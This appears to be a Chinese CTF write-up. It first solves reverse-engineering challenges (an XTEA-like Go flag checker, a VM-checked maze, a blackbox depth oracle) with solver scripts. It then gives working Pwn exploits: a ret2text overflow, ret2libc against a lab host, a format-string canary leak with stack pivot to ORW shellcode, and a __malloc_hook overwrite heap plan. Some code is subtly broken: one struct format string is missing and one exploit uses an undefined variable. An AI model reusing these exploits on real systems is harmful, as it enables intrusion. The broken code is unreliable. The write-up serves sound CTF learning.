if ( v11[21] != 125 )
  return 0;

125 是 ASCII 字符 }，说明第 21 个下标必须是右大括号。由于下标从 0 开始，总长度又是 22，所以这是最后一个字符。

此时已经可以确定格式：

flag{????????????????}

中间未知部分为 16 字节。

接着看中间部分的复制：

v21 = v11 + 5;
...
v38[0] = *v21;

v11 + 5 表示跳过前 5 字节，也就是跳过 flag{。v38[0] = *v21 中 v38 是 _OWORD，一个 _OWORD 是 16 字节，所以这里相当于复制：

body = input[5:21];

也就是取出 flag 中间的 16 字节内容。

密钥还原逻辑一般长这样：

for ( j = 0; j < 4; ++j )
{
  LODWORD(v15) = n0x20_0[j] ^ dword_140187830[j];
  *((_DWORD *)&v34 + j) = (_DWORD)v15;
}

这里有两个 uint32 数组，逐项异或后放进 v34。可以理解为：

key[j] = keyA[j] ^ keyB[j];

之后是分块加密：

for ( k = 0; k < 2; k = k_1 + 1 )
{
  sub_1400A7A00((unsigned int)v38 + 8 * k, 8, 16 - 8 * k, k, ..., v35, v33);
}

这里循环 2 次，每次偏移 8 * k，说明中间 16 字节会被分成两个 8 字节块处理。sub_1400A7A00 就是关键加密函数，继续点进去分析即可。若在该函数中看到：

0x9e3779b9
左移 4
右移 5
32 轮循环
两个 uint32 变量互相更新

基本就可以判断是 TEA / XTEA 风格算法。

目标密文也不是直接比较，而是先解一层异或：

v26 = (unsigned __int8 *)off_14018CAF0;
for ( m = 0; (__int64)m < n0x20_1; ++m )
{
  v29 = v26[m];
  *((_BYTE *)v25 + m) = v29 ^ (17 * m + 90);
}

90 的十六进制是 0x5a，所以这段等价于：

target[m] = vault[m] ^ ((17 * m + 0x5a) & 0xff)

最后比较逻辑是：

while ( n16 < 16 )
{
  v31 |= *((_BYTE *)v38 + n16) ^ *((_BYTE *)v25 + n16);
  ++n16;
}
return v31 == 0;

这也是一种常量时间比较，意思是：

return encrypted_body == target;

所以这一整段 IDA 伪代码可以整理成更清晰的伪代码：

bool verify(input, len) {
    if (len != 22)
        return false;

    prefix = xor_each("W]PVJ", 0x31);
    if (input[0:5] != prefix)
        return false;

    if (input[21] != '}')
        return false;

    body = input[5:21];
    key = keyA ^ keyB;

    for (k = 0; k < 2; k++) {
        encrypt_block(body + 8 * k, key, k);
    }

    target = decode_vault(vault);
    return body == target;
}

这就是后续写逆向脚本所需的全部外层信息。

对加密函数 IDA 伪代码分析，外层校验函数中调用的：

sub_1400A7A00((unsigned int)v38 + 8 * k, 8, 16 - 8 * k, k, ..., v35, v33);

就是核心加密函数。IDA 反编译结果中会出现类似：

unsigned int *__golang sub_1400A7A00(
        unsigned int *result,
        unsigned __int64 n8,
        unsigned __int64 n4,
        __int64 k,
        ...,
        __int128 a10)
{
  unsigned int v10;
  unsigned int v14;
  int v13;
  __int128 v18;

  v10 = *result;
  ...
  v13 = 16843009 * k + 16843009;
  v14 = *(unsigned int *)((char *)result + 4);
  v18 = a10;
  for ( i = 0; i < 4; ++i )
    *((_DWORD *)&v18 + i) ^= v13;

  n32 = 0;
  v17 = 0;
  while ( n32 < 32 )
  {
    v10 += (v14 + ((16 * v14) ^ (v14 >> 5))) ^ (v17 + *((_DWORD *)&v18 + (v17 & 3)));
    v14 += (v10 + ((16 * v10) ^ (v10 >> 5)))
         ^ (v17 + *((_DWORD *)&v18 + (((unsigned int)(v17 - 1640531527) >> 11) & 3)) - 1640531527);
    ++n32;
    v17 -= 1640531527;
  }
  *result = v10;
  *(unsigned int *)((char *)result + 4) = v14;
  return result;
}

这段函数前面的：

if ( n4 < 4 )
  sub_14007C700(...);

以及类似的判断，是 Go 编译器插入的边界检查。sub_14007C700 通常是 panic 相关逻辑，逆向算法时可以先忽略。

真正有用的部分从这里开始：

v10 = *result;
v14 = *(unsigned int *)((char *)result + 4);

result 指向当前 8 字节块，所以这里是在按小端读取两个 uint32：

v0 = block[0:4]
v1 = block[4:8]

接着：

v13 = 16843009 * k + 16843009;

16843009 的十六进制是：

0x01010101

所以它等价于：

tweak = (k + 1) * 0x01010101;

这里的 k 是块号。第 0 块使用 0x01010101，第 1 块使用 0x02020202。

然后：

v18 = a10;
for ( i = 0; i < 4; ++i )
  *((_DWORD *)&v18 + i) ^= v13;

a10 是外层传进来的 128 位 key，也就是 4 个 uint32。这段是在对每个 key 分量做块号扰动：

local_key[i] = key[i] ^ tweak

再看循环：

n32 = 0;
v17 = 0;
while ( n32 < 32 )
{
  ...
  ++n32;
  v17 -= 1640531527;
}

循环次数是 32。1640531527 的十六进制是：

0x61c88647

而：

-0x61c88647 mod 2^32 = 0x9e3779b9

0x9e3779b9 是 TEA / XTEA 系列算法的经典 delta 常量。因此：

v17 -= 1640531527;

在 uint32 语义下等价于：

sum += 0x9e3779b9;

循环主体可以整理为更清楚的形式：

v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + local_key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + local_key[(sum >> 11) & 3]);

其中：

16 * v14

就是：

v14 << 4

所以出现：

16 * v14
v14 >> 5
v17 & 3
(v17 - 1640531527) >> 11
32 轮

这些特征时，基本可以判断这是 XTEA-like 算法。

整理后的加密伪代码如下：

void encrypt_block(uint8_t block[8], uint32_t key[4], int block_id) {
    uint32_t v0 = read_u32_le(block);
    uint32_t v1 = read_u32_le(block + 4);
    uint32_t sum = 0;
    uint32_t delta = 0x9e3779b9;
    uint32_t local[4];
    uint32_t tweak = (block_id + 1) * 0x01010101;

    for (int i = 0; i < 4; i++) {
        local[i] = key[i] ^ tweak;
    }

    for (int round = 0; round < 32; round++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + local[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + local[(sum >> 11) & 3]);
    }

    write_u32_le(block, v0);
    write_u32_le(block + 4, v1);
}

解密时将循环反过来即可：

sum = delta * 32;
for round in range(32):
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + local[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + local[sum & 3]);

注意 Python 中需要在每一步后加：

& 0xffffffff

来模拟 Go 的 uint32 溢出。

还原密钥：程序中密钥也做了拆分混淆：

var keyA = [4]uint32{0x4914137d, 0x9c57dc72, 0x46b3b921, 0xc98ec9fa}
var keyB = [4]uint32{0x6d2b79f5, 0x19f4d4a1, 0x55aa330f, 0xcafebabe}

真正使用前会调用：

func expandKey() [4]uint32 {
    var k [4]uint32
    for i := range k {
        k[i] = keyA[i] ^ keyB[i]
    }
    return k
}

因此真实 key 是：

KEY_A = [0x4914137D, 0x9C57DC72, 0x46B3B921, 0xC98EC9FA]
KEY_B = [0x6D2B79F5, 0x19F4D4A1, 0x55AA330F, 0xCAFEBABE]

key = [(a ^ b) & 0xffffffff for a, b in zip(KEY_A, KEY_B)]
print([hex(x) for x in key])

输出：

['0x243f6a88', '0x85a308d3', '0x13198a2e', '0x3707344']

注意最后一个数补齐 8 位写作：

0x03707344

还原目标密文：程序中保存的密文数组是：

var vault = []byte{
    0xd5, 0xf0, 0x2e, 0x7e, 0x07, 0xf9, 0x50, 0xb0,
    0x7f, 0xf4, 0x7d, 0x1a, 0xea, 0x15, 0x48, 0xd7,
}

但比较前会调用：

func target() []byte {
    out := make([]byte, len(vault))
    for i, v := range vault {
        out[i] = v ^ byte((i*17+0x5a)&0xff)
    }
    return out
}

所以真正的目标密文为：

VAULT = [
    0xD5, 0xF0, 0x2E, 0x7E, 0x07, 0xF9, 0x50, 0xB0,
    0x7F, 0xF4, 0x7D, 0x1A, 0xEA, 0x15, 0x48, 0xD7,
]

ciphertext = bytes(v ^ ((i * 17 + 0x5a) & 0xff) for i, v in enumerate(VAULT))
print(ciphertext.hex())

输出：

8f9b52f3995690619d07790fcc22008e

逆向解密思路

加密逻辑是：

sum = 0
repeat 32 rounds:
    v0 += F(v1, sum, key[sum & 3])
    sum += delta
    v1 += F(v0, sum, key[(sum >> 11) & 3])

解密时倒过来：

sum = delta * 32
repeat 32 rounds:
    v1 -= F(v0, sum, key[(sum >> 11) & 3])
    sum -= delta
    v0 -= F(v1, sum, key[sum & 3])

由于 Go 里的 uint32 运算会自然溢出，所以 Python 中每一步都需要：

& 0xffffffff

保持 32 位无符号整数效果。

完整解题脚本

import struct

DELTA = 0x9E3779B9

HEAD = [0x57, 0x5D, 0x50, 0x56, 0x4A]
KEY_A = [0x4914137D, 0x9C57DC72, 0x46B3B921, 0xC98EC9FA]
KEY_B = [0x6D2B79F5, 0x19F4D4A1, 0x55AA330F, 0xCAFEBABE]
VAULT = [
    0xD5, 0xF0, 0x2E, 0x7E, 0x07, 0xF9, 0x50, 0xB0,
    0x7F, 0xF4, 0x7D, 0x1A, 0xEA, 0x15, 0x48, 0xD7,
]


def decrypt_block(data, key, block):
    v0, v1 = struct.unpack(", data)
    local = [x ^ ((block + 1) * 0x01010101) for x in key]
    s = (DELTA * 32) & 0xFFFFFFFF

    for _ in range(32):
        v1 = (
            v1
            - (
                (((((v0 << 4) & 0xFFFFFFFF) ^ (v0 >> 5)) + v0)
                ^ (s + local[(s >> 11) & 3])
            )
        ) & 0xFFFFFFFF
        s = (s - DELTA) & 0xFFFFFFFF
        v0 = (
            v0
            - (
                (((((v1 << 4) & 0xFFFFFFFF) ^ (v1 >> 5)) + v1)
                ^ (s + local[s & 3])
            )
        ) & 0xFFFFFFFF

    return struct.pack(", v0, v1)


def main():
    prefix = bytes(x ^ 0x31 for x in HEAD)
    suffix = bytes([0x4C ^ 0x31])
    key = [(a ^ b) & 0xFFFFFFFF for a, b in zip(KEY_A, KEY_B)]
    ciphertext = bytes(v ^ ((i * 17 + 0x5A) & 0xFF) for i, v in enumerate(VAULT))

    body = b""
    for block in range(0, len(ciphertext), 8):
        body += decrypt_block(ciphertext[block:block + 8], key, block // 8)

    print((prefix + body + suffix).decode())


if __name__ == "__main__":
    main()

最后得到flag：flag{go_re_xtea_vault}

stateful_vm_maze

先看输入约束，IDA里入口函数开头很直接：

puts("Stateful VM Maze");
printf("route> ");
fgets(Buffer_1, 512, stdin);
Buffer_1[strcspn(Buffer_1, "\r\n")] = 0;
if ( strlen(Buffer_1) == 326 )

所以输入是一串长度为326的路线字符串。后面根据*Buffer_2 - 65查表，说明字符从'A'开始映射。

重点表：

dword_4061A0: 方向编号，非法字符位置为 -1
dword_4060E0: y 方向增量
dword_406140: x 方向增量
byte_4060C0 : 每个方向对应的墙 bit
byte_4063A0 : 加密后的迷宫表

还原后可得到常见WASD映射：

W: y -= 1, wall = 1
D: x += 1, wall = 4
S: y += 1, wall = 2
A: x -= 1, wall = 8

还原迷宫表，主循环里每走一步都会计算当前位置：

v3 = x + 21 * y;

然后判断当前位置对应方向是否撞墙：

if ( direction_wall & (byte_4063A0[v3] ^ maze_key(v3)) )
    lost;

IDA把maze_key(v3)展开成了一大坨乘法、异或和移位：

((-2048144789 * v3) ^ 0x9E3779B9)
...
* 0x7FEB352D
...
* 0x846CA68B

把它整理成人能看的形式就是：

def maze_key(i):
    z = (0x9E3779B9 ^ ((i * 0x85EBCA6B) & 0xFFFFFFFF)) & 0xFFFFFFFF
    z ^= z >> 16
    z = (z * 0x7FEB352D) & 0xFFFFFFFF
    z ^= z >> 15
    z = (z * 0x846CA68B) & 0xFFFFFFFF
    z ^= z >> 16
    return z & 0xF

因此每个格子的真实墙信息是：

wall = (enc_maze[i] ^ maze_key(i)) & 0xf

墙bit含义：

N = 1
S = 2
E = 4
W = 8

BFS找路线迷宫大小由边界判断看出来：

if ( y > 0x14 || x > 0x14 )

0x14 = 20，所以迷宫是21 x 21，起点是(0,0)，终点判断是：

if ( y == 20 && x == 20 )

还原所有墙之后，从(0,0)对(20,20)做BFS/DFS即可得到路线。脚本见：

solve/solve.py

核心逻辑：

DIRS = [
    ("W", 0, -1, 1),
    ("D", 1, 0, 4),
    ("S", 0, 1, 2),
    ("A", -1, 0, 8),
]

遇到(walls(x, y) & bit) == 0就说明这个方向可以走。

为什么不能只patch终点？到达终点后，程序还检查两个64位rolling hash：

v32 == 0x72F3A9A0BD84896
v23 == 0x3CD48E68E9B27096

这两个值是在每一步移动后混合当前位置、当前字符和步数得到的。也就是说，即使patch了终点坐标，不知道正确路线也过不了后面的校验。

接着还有一段VM tape校验：

v9 = (char *)&unk_406220;
do {
    v11 = v10 ^ *(_DWORD *)v9;
    v12 = v11 & 7;
    v13 = HIWORD(v11);
    v14 = Buffer_1[(v36 + (v11 >> 8)) % 0x146];
    switch (v12) { ... }
    v9 += 4;
    v10 += 521288629;
    v36 += 17;
} while ( byte_4063A0 != v9 );

这里0x146 = 326，VM每轮会从输入路线中取一个字符，更新四个寄存器。最后要求：

n1831565813 == 456645978
n461845907 == -1696666991
v28 == -515067003
n285001212 == 285001212

所以解题思路应是还原迷宫并求出真实路线，而不是只改一个条件跳转。

flag解密VM通过后，程序用前面rolling hash派生出的状态解密byte_406200：

v31 = 0xCCF18A30AA1B24C8;
v31 += 0x9E3779B97F4A7C15;
splitmix64(v31);
Buffer[n32] = byte_406200[n32] ^ keystream_byte;

IDA里写成了：

v31 -= 0x61C8864680B583EB;

这是同一个意思，因为：

0x9E3779B97F4A7C15 == -0x61C8864680B583EB  (mod 2^64)

只要输入正确路线，程序会自动解密并打印flag。

脚本：

from collections import deque

W = 21
H = 21
ENC = [
    0x09, 0x07, 0x01, 0x07, 0x0d, 0x04, 0x00, 0x0c, 0x0a, 0x0f, 0x0d, 0x03, 0x05, 0x0e, 0x0f, 0x0c, 0x09, 0x0b, 0x0d, 0x0d, 0x04,
    0x01, 0x03, 0x0f, 0x08, 0x0a, 0x01, 0x02, 0x0f, 0x04, 0x0e, 0x0b, 0x06, 0x05, 0x06, 0x09, 0x02, 0x06, 0x09, 0x0c, 0x07, 0x02,
    0x01, 0x06, 0x09, 0x03, 0x06, 0x01, 0x05, 0x01, 0x02, 0x04, 0x0d, 0x06, 0x02, 0x0a, 0x0a, 0x07, 0x00, 0x07, 0x07, 0x03, 0x05,
    0x08, 0x03, 0x06, 0x05, 0x05, 0x0e, 0x0e, 0x03, 0x05, 0x06, 0x0f, 0x0b, 0x0e, 0x08, 0x06, 0x0e, 0x0f, 0x02, 0x0d, 0x03, 0x09,
    0x0e, 0x08, 0x08, 0x09, 0x0b, 0x0f, 0x0d, 0x00, 0x03, 0x08, 0x0d, 0x01, 0x09, 0x06, 0x04, 0x0c, 0x00, 0x02, 0x0e, 0x06, 0x0c,
    0x03, 0x0b, 0x07, 0x08, 0x04, 0x01, 0x07, 0x09, 0x0c, 0x09, 0x00, 0x08, 0x07, 0x0a, 0x0c, 0x02, 0x00, 0x01, 0x0b, 0x0c, 0x0c,
    0x0f, 0x07, 0x05, 0x07, 0x09, 0x0f, 0x0f, 0x05, 0x08, 0x0e, 0x0c, 0x08, 0x0f, 0x06, 0x0a, 0x0b, 0x09, 0x0f, 0x00, 0x0e, 0x0b,
    0x0c, 0x08, 0x0a, 0x09, 0x04, 0x06, 0x0a, 0x0d, 0x03, 0x0a, 0x06, 0x0a, 0x03, 0x0a, 0x08, 0x04, 0x09, 0x0f, 0x03, 0x0d, 0x06,
    0x08, 0x06, 0x0d, 0x01, 0x0b, 0x06, 0x05, 0x05, 0x09, 0x06, 0x0b, 0x02, 0x09, 0x0c, 0x08, 0x0e, 0x07, 0x00, 0x0f, 0x05, 0x05,
    0x03, 0x02, 0x0b, 0x07, 0x0b, 0x0b, 0x07, 0x0c, 0x06, 0x07, 0x06, 0x08, 0x0d, 0x04, 0x00, 0x09, 0x02, 0x0c, 0x06, 0x05, 0x0b,
    0x0e, 0x0b, 0x08, 0x09, 0x05, 0x0b, 0x06, 0x03, 0x02, 0x09, 0x0d, 0x00, 0x01, 0x07, 0x02, 0x04, 0x0d, 0x09, 0x0d, 0x02, 0x07,
    0x02, 0x03, 0x0c, 0x09, 0x08, 0x04, 0x06, 0x0e, 0x0c, 0x0a, 0x06, 0x0b, 0x04, 0x04, 0x0a, 0x02, 0x07, 0x0d, 0x0f, 0x0a, 0x00,
    0x0f, 0x0f, 0x0c, 0x04, 0x0a, 0x0a, 0x09, 0x06, 0x0b, 0x00, 0x04, 0x0f, 0x0f, 0x00, 0x0c, 0x0d, 0x08, 0x0e, 0x0f, 0x0d, 0x03,
    0x04, 0x0c, 0x06, 0x09, 0x00, 0x0c, 0x00, 0x0e, 0x03, 0x05, 0x08, 0x0e, 0x01, 0x00, 0x09, 0x04, 0x08, 0x06, 0x0f, 0x0f, 0x04,
    0x08, 0x00, 0x09, 0x07, 0x04, 0x0f, 0x08, 0x07, 0x0f, 0x01, 0x02, 0x07, 0x06, 0x02, 0x0e, 0x0a, 0x03, 0x05, 0x05, 0x09, 0x08,
    0x09, 0x0d, 0x0d, 0x0f, 0x03, 0x0a, 0x05, 0x0d, 0x01, 0x09, 0x0c, 0x03, 0x04, 0x03, 0x01, 0x0a, 0x09, 0x0e, 0x0f, 0x0a, 0x0b,
    0x01, 0x08, 0x04, 0x01, 0x06, 0x00, 0x01, 0x0b, 0x0b, 0x01, 0x07, 0x0a, 0x00, 0x0e, 0x09, 0x06, 0x08, 0x0a, 0x0e, 0x0c, 0x02,
    0x0b, 0x0f, 0x0e, 0x05, 0x0e, 0x0f, 0x05, 0x03, 0x0f, 0x07, 0x00, 0x0e, 0x03, 0x0f, 0x02, 0x03, 0x01, 0x05, 0x03, 0x05, 0x0c,
    0x08, 0x06, 0x01, 0x01, 0x0b, 0x0b, 0x04, 0x0c, 0x0e, 0x0b, 0x0b, 0x0f, 0x06, 0x0b, 0x09, 0x08, 0x01, 0x0d, 0x06, 0x00, 0x0c,
    0x09, 0x09, 0x08, 0x04, 0x09, 0x00, 0x06, 0x02, 0x0d, 0x06, 0x00, 0x06, 0x02, 0x0b, 0x01, 0x0b, 0x06, 0x09, 0x0d, 0x0e, 0x02,
    0x08, 0x07, 0x0d, 0x02, 0x05, 0x09, 0x06, 0x0d, 0x09, 0x0c, 0x02, 0x07, 0x0e, 0x06, 0x0d, 0x03, 0x07, 0x05, 0x04, 0x0e, 0x06,
]


def maze_key(i):
    z = (0x9E3779B9 ^ ((i * 0x85EBCA6B) & 0xFFFFFFFF)) & 0xFFFFFFFF
    z ^= z >> 16
    z = (z * 0x7FEB352D) & 0xFFFFFFFF
    z ^= z >> 15
    z = (z * 0x846CA68B) & 0xFFFFFFFF
    z ^= z >> 16
    return z & 0xF


def walls(x, y):
    i = y * W + x
    return (ENC[i] ^ maze_key(i)) & 0xF


DIRS = [
    ("W", 0, -1, 1),
    ("D", 1, 0, 4),
    ("S", 0, 1, 2),
    ("A", -1, 0, 8),
]

q = deque([(0, 0)])
prev = {(0, 0): None}

while q:
    x, y = q.popleft()
    if (x, y) == (W - 1, H - 1):
        break

    for ch, dx, dy, bit in DIRS:
        nx, ny = x + dx, y + dy
        if not (0 <= nx < W and 0 <= ny < H):
            continue
        if walls(x, y) & bit:
            continue
        if (nx, ny) not in prev:
            prev[(nx, ny)] = (x, y, ch)
            q.append((nx, ny))

cur = (W - 1, H - 1)
route = []
while prev[cur] is not None:
    px, py, ch = prev[cur]
    route.append(ch)
    cur = (px, py)

route = "".join(reversed(route))
print(route)
print(len(route))

正确路线和flag：

DSASDDWWDSDWDDDDDDDSDSDSDSDWWDSDWDWAAWDDDSDSASDSAASASDSSSASSSDDWWWDSSSSAAAASAWWWDWAASSSAWAWWAWAWWWDSDDSDSDDWAWDWWASAAAWWWAAWASAAAAWAASASSASSSDSAASSSDWDWDSDSASDDWWWAWDDSDSSSASASSAAWDWAASSSASDSSDWWWDSDSSDDWAWWWWDDDWWAWWWWAWWWASAASAWWDDWAAWDDDSDDDSASDSSSDSSDSSDDDSAAAASAASDSSASDDWDDSDWWWASAAWDWDDDSDSSSDDDWWAWAWWDSDWWDDSASSSDSASD

输入后得到：

flag{stateful_vm_maze_326_steps}

blackbox_ladder_lock

服务不会给附件，只提供一个TCP黑盒。输入长度不对时会返回need=31，输入长度正确时返回depth=x/31。

核心观察：depth是“从第0层开始连续通过了多少层”。每一层只检查flag的一个位置，但检查顺序被打乱。因此可以用一个不会出现在flag字符集里的填充字符，例如?，让初始输入稳定停在第0层。

之后逐层恢复：

构造31个?。
当前depth=d时，枚举所有未知位置。
对每个未知位置枚举abcdefghijklmnopqrstuvwxyz0123456789_{}。
如果某次查询让depth增大，说明这一层对应的位置和值都找到了。
固定该字符，继续恢复下一层。

脚本：

#!/usr/bin/env python3
import argparse
import re
import socket


ALPHABET = b"abcdefghijklmnopqrstuvwxyz0123456789_{}"
FILLER = ord("?")


def recv_until(sock, marker=b"> "):
    data = b""
    while marker not in data and b"flag: " not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
    return data


def query(sock, candidate):
    sock.sendall(candidate + b"\n")
    data = recv_until(sock)
    if b"flag: " in data:
        flag = data.split(b"flag: ", 1)[1].strip()
        return 31, flag
    m = re.search(rb"depth=(-?\d+)", data)
    if not m:
        raise RuntimeError(f"bad response: {data!r}")
    return int(m.group(1)), None


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("host")
    ap.add_argument("port", type=int)
    args = ap.parse_args()

    with socket.create_connection((args.host, args.port), timeout=5) as sock:
        recv_until(sock)

        depth, _ = query(sock, b"?")
        if depth != -1:
            raise RuntimeError("unexpected length oracle response")

        n = 31
        candidate = bytearray([FILLER] * n)
        unknown = set(range(n))
        depth, flag = query(sock, bytes(candidate))
        if flag:
            print(flag.decode())
            return

        while depth < n:
            found = False
            for pos in list(unknown):
                old = candidate[pos]
                for ch in ALPHABET:
                    candidate[pos] = ch
                    new_depth, flag = query(sock, bytes(candidate))
                    if flag:
                        print(flag.decode())
                        return
                    if new_depth > depth:
                        print(f"stage {depth:02d}: pos={pos:02d} char={chr(ch)!r}")
                        depth = new_depth
                        unknown.remove(pos)
                        found = True
                        break
                if found:
                    break
                candidate[pos] = old

            if not found:
                raise RuntimeError(f"no progress at depth {depth}, candidate={candidate!r}")

        final_depth, flag = query(sock, bytes(candidate))
        if flag:
            print(flag.decode())
        else:
            print(bytes(candidate).decode())
            print(f"depth={final_depth}")


if __name__ == "__main__":
    main()

flag为flag{blackbox_ladder_lock_2026}

Pwn

S1mple_Stak3_0verfl0w

思路

先check一下，之开启NX，32位

进入IDA，main函数看到提示是一道ret2text32位的题目

ctfshow（）中看到buf距离ebp有0x12的距离，buf通过read能写入0x32大小的数据，显然这里纯在栈溢出。

通过gdb动态调试发现，偏移位22（和IDA显示的一样0x12+4）

因为是text的题目，题目应该有后门函数，IDA看到有backdoor

因为没开pie，直接看一下backdoor地址

所以exp就很简单了

EXP

from pwn import *

#p=process("./pwn")
p=remote("10.1.40.168",32777)

payload=b'a'*(0x12+4)+p32(0x08048521)

p.sendline(payload)

p.interactive()

libc_cafe

思路

开了NX保护

我们可以看到read函数存在一个明显的栈溢出，同时我们没有看到又system，binsh等明显的漏洞点，所以结合题目我们猜测这道题应该是ret2libc的题目，那显然又puts函数所以我们利用puts函数找libc偏移（题目提供libc了）即可。且这道题没有其他干扰因此直接利用模板直接解出即可。

EXP

from pathlib import Path
from pwn import *

context.log_level = "info"



elf = ELF("./libc_cafe")
libc = ELF("./libc.so.6")
rop = ROP(elf)

offset = 0x48
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
ret = rop.find_gadget(["ret"]).address


def send_payload(io, payload):
    io.recvuntil(b"Leave your order:")
    io.send(payload)

io=remote("10.1.40.168",32849)
payload = flat(
    b"A" * offset,
    pop_rdi,
    elf.got["puts"],
    elf.plt["puts"],
    elf.symbols["main"],
)
send_payload(io, payload)

io.recvuntil(b"Thanks. Next customer!\n")
puts_addr = u64(io.recvline().strip().ljust(8, b"\x00"))
success(f"puts leak: {hex(puts_addr)}")

libc.address = puts_addr - libc.symbols["puts"]
success(f"libc base: {hex(libc.address)}")

payload = flat(
    b"A" * offset,
    ret,
    pop_rdi,
    next(libc.search(b"/bin/sh\x00")),
    libc.symbols["system"],
)
send_payload(io, payload)

io.interactive()

orw_rop

沙箱题，知识禁用了execve，所以使用orw即可

思路

程序是 64 位 ELF，保护如下：

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE
Stripped:   No

关键函数没有去符号：

main       0x4012e4
sandbox    0x40129b
read@plt   0x401134
printf@plt 0x401124
mmap@plt   0x401114

程序逻辑

sandbox 使用 libseccomp：

seccomp_init(SCMP_ACT_ALLOW)
seccomp_rule_add(ctx, 0, 59, 0)
seccomp_load(ctx)

也就是默认允许 syscall，只禁止 execve，所以不能直接 system("/bin/sh") 或 shellcode execve("/bin/sh")，但 open/read/write 仍然可用。

main 中还固定 mmap 了一段 RWX 内存：

mmap(0x66660000, 0x1000, 7, 0x32, -1, 0);

prot = 7 表示可读、可写、可执行，因此可以把 shellcode 写到 0x66660000 附近执行。

漏洞点

main 中有两处输入：

; 第一次读 0x20 字节到 rbp-0x30
read(0, rbp - 0x30, 0x20)
printf(rbp - 0x30)

; 第二次读 0x100 字节到同一个 rbp-0x30
read(0, rbp - 0x30, 0x100)

第一次输入直接作为 printf 的格式串使用，存在格式化字符串漏洞，可以泄露 canary。

第二次输入向 rbp-0x30 写入 0x100 字节，而栈缓冲区只有 0x30 左右，存在栈溢出。偏移为：

buf -> canary:    0x28
buf -> saved rbp: 0x30
buf -> saved rip: 0x38

利用思路

整体打法是“格式化字符串泄露 canary + 栈迁移 + ret2shellcode”。

发送 %11$p，从格式化字符串输出中泄露 canary。
第二次读触发栈溢出，填回 canary 绕过检查。
覆盖 saved rbp 为 0x66660100，把栈迁移到固定 RWX mmap 区。
覆盖 saved rip 为 0x401373，重新进入 main 中第二次 puts + read 的位置。
此时程序会执行：

lea rax, [rbp - 0x30]
mov edx, 0x100
mov rsi, rax
mov edi, 0
call read

由于 rbp = 0x66660100，这次 read 会把 payload 写到：

0x66660100 - 0x30 = 0x666600d0

第二阶段 payload 继续填回 canary，并让函数 epilogue leave; ret 跳到 RWX 段里的 shellcode。
shellcode 使用 ORW：

open("./flag")
read(fd, rsp, 0x100)
write(1, rsp, 0x100)

栈迁移布局

第二阶段读入地址为 0x666600d0：

0x666600d0: padding, 0x28 bytes
0x666600f8: canary
0x66660100: fake saved rbp = 0x66660100
0x66660108: fake saved rip = 0x66660110
0x66660110: ORW shellcode

函数返回时执行 leave; ret：

rsp = rbp = 0x66660100
pop rbp
ret -> 0x66660110

于是直接进入 shellcode。

EXP

from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('pwn')
p = process('./pwn')

sl = lambda x : p.sendline(x)
sla= lambda x,y : p.sendlineafter(x,y)
sa = lambda x : p.sendafter(x)
sd = lambda x : p.send(x)
ru = lambda x : p.recvuntil(x)
inter = lambda : p.interactive()

fmt =b'%11$p'	#格式化字符串漏洞找出canary，通常为随机高位+尾字节00
sd(fmt)
ru(b'sandbox\n')
canary = p64(int(p.recv(18), 16))
log.info(f'canary = {hex(u64(canary))}')

ru(b'now\n')

rbp_addr = p64(0x66660000 + 0x100)
rsp_rip_addr = p64(0x66660000 + 0x100 + 0x10)
read_addr = p64(0x401373)

padding = 40
payload = b'A' * padding + canary + rbp_addr + read_addr
sd(payload)

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
payload = b'A' * padding + canary + rbp_addr + rsp_s_rip_addr + asm(shellcode)
ru(b'now\n')
sd(payload)
all_output = p.recvall(timeout=5)
log.info(all_output.decode('utf-8', errors='ignore'))

ezheap

思路

程序是一个菜单堆题：

1. Create
2. Edit
3. Show
4. Delete
5. Exit

保护情况：

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:   No

主要函数符号没有去掉，关键地址如下：

Create       0x1328
Edit         0x1446
Show         0x154d
Free         0x1624
heaptable    0x4040

漏洞分析

Create 会让用户输入 size，最大限制到 0x800，然后 malloc(size)，但是程序没有保存每个 chunk 的真实大小。

Edit 只检查 index 是否在 0..9，然后再次让用户输入 Size，直接调用：

read(0, heaptable[index], size);

这里的 size 完全由用户控制，没有和创建时的 chunk 大小做比较，所以存在堆溢出。

Show 使用：

printf("Content:%s", heaptable[index]);

因此如果把当前 chunk 后面的 \x00 覆盖掉，就可以让 %s 继续向后打印，泄漏相邻 freed chunk 中的 fd/bk 指针。

Free 会在释放后把指针清零：

free(heaptable[index]);
heaptable[index] = 0;

所以不能直接 UAF，但可以通过相邻 chunk 的溢出来读写 freed chunk 的元数据。

利用思路

原题利用环境按 glibc-2.23 处理，打法是：

构造相邻堆块：

chunk0: malloc(0x10)
chunk1: malloc(0x80)
chunk2: malloc(0x10)
chunk3: malloc(0x60)
chunk4: malloc(0x10)

释放 chunk1，它进入 unsorted bin。
从 chunk0 溢出 0x20 字节，覆盖到 chunk1 的 header，使 Show(0) 能继续打印到 chunk1 的 unsorted-bin 指针。
泄漏 main_arena，计算 libc base 和 __malloc_hook。
恢复 chunk1 的 size，避免后续堆检查异常。
释放 chunk3，从 chunk2 溢出覆盖 chunk3->fd = __malloc_hook - 0x23。
连续申请两个 0x60 大小的 chunk，第二次申请拿到 __malloc_hook 附近的伪 chunk。
覆写 __malloc_hook = one_gadget，同时填上 realloc 来调整栈环境。
再次 malloc 触发 __malloc_hook，getshell。

关键偏移

glibc-2.23 下：

main_arena   = leak - 88
malloc_hook  = main_arena - 0x10
libc_base    = malloc_hook - libc.sym["__malloc_hook"]
one_gadget   = libc_base + 0x4527a

